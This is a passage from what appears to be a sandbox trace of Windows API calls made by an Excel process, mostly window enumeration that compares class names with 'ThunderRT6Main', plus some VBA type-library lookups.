lpdwProcessId=0x0) returned 0x7bc [0109.588] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0109.588] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0109.588] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.588] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0109.588] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.588] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.588] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0109.588] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.588] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0109.588] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0109.588] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.588] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.588] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0109.588] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0109.588] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.588] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0109.588] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0109.588] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.588] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0109.588] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.588] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.588] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0109.588] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.588] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.588] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0109.588] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.588] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.589] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0109.589] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0109.589] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0109.589] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.589] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0109.589] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0109.589] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0109.589] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.589] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0109.589] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.589] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.589] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0109.589] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0109.589] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.589] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.589] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.589] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0109.589] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.589] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.589] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.589] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0109.589] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.589] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.589] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.589] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0109.589] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0109.589] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0109.589] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.589] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0109.589] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0109.589] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0109.589] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0109.589] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0109.589] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.589] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.589] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0109.589] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0109.589] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0109.589] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0109.590] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0109.590] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0109.590] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0109.590] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0109.590] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.590] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0109.590] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0109.590] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.590] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0109.590] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0109.590] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.590] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0109.590] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.590] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0109.590] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0109.590] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0109.590] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0109.590] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0109.590] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0109.590] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0109.590] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0109.590] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0109.590] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.590] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0109.590] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0109.591] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0109.591] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0109.591] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0109.591] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0109.591] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0109.591] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0109.591] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.591] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0109.591] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x64b6420 [0109.591] IMalloc:Free (This=0x7fefe465380, pv=0x64b6420) [0109.670] strncpy_s (in: _Dst=0x5964850, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0109.670] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0109.670] bsearch (_Key=0x1e8818, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0109.670] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0109.670] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0109.671] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679bb90) returned 0x0 [0109.671] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0109.671] IUnknown:Release (This=0x679bb90) returned 0x15 [0109.671] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x5a48630) returned 0x0 [0109.672] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0109.672] IUnknown:Release (This=0x5a48630) returned 0x12 [0109.672] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c130) returned 0x0 [0109.672] IUnknown:AddRef (This=0x679c130) returned 0x9 [0109.672] IUnknown:Release (This=0x679c130) returned 0x8 [0109.672] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c6d0) returned 0x0 [0109.672] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0109.673] IUnknown:Release (This=0x679c6d0) returned 0x6 [0112.294] GetCurrentThreadId () returned 0xa30 [0112.294] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0112.294] GetDesktopWindow () returned 0x10010 [0112.294] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0112.294] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0112.294] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0112.294] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.294] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0112.294] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.294] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.294] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.294] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0112.294] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.294] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.294] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.294] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0112.294] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.294] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.295] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.295] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0112.295] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.295] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.295] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.295] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0112.295] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.295] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.295] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.295] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0112.295] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.295] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.295] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.295] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0112.295] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.295] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.295] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.295] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0112.295] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0112.295] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0112.295] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.295] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0112.295] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0112.295] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0112.295] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.296] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0112.296] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.296] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.296] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.296] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0112.296] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0112.296] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0112.296] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.296] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0112.296] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0112.296] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0112.296] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0112.296] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0112.296] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.296] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.296] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0112.296] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0112.296] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0112.296] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0112.296] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0112.296] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0112.296] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.296] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.297] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0112.297] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0112.297] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.297] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.297] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.297] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0112.297] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.297] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.297] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.297] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0112.297] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.297] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.297] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.297] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0112.297] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.297] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.297] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.297] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0112.297] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0112.297] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0112.297] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0112.297] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0112.297] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0112.298] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0112.298] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.298] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0112.298] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0112.298] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0112.298] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0112.298] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.298] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.298] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.298] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0112.298] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0112.298] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0112.298] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0112.298] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0112.298] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0112.298] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0112.298] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0112.298] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.298] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.298] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0112.298] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0112.298] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0112.298] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0112.298] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.298] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0112.298] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0112.298] IsWindowEnabled (hWnd=0x302dc) returned 0 [0112.298] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0112.298] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0112.298] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0112.299] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0112.299] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0112.299] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0112.299] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0112.299] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.299] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0112.299] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0112.299] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0112.299] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0112.299] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.299] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.299] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.299] GetWindowLongA 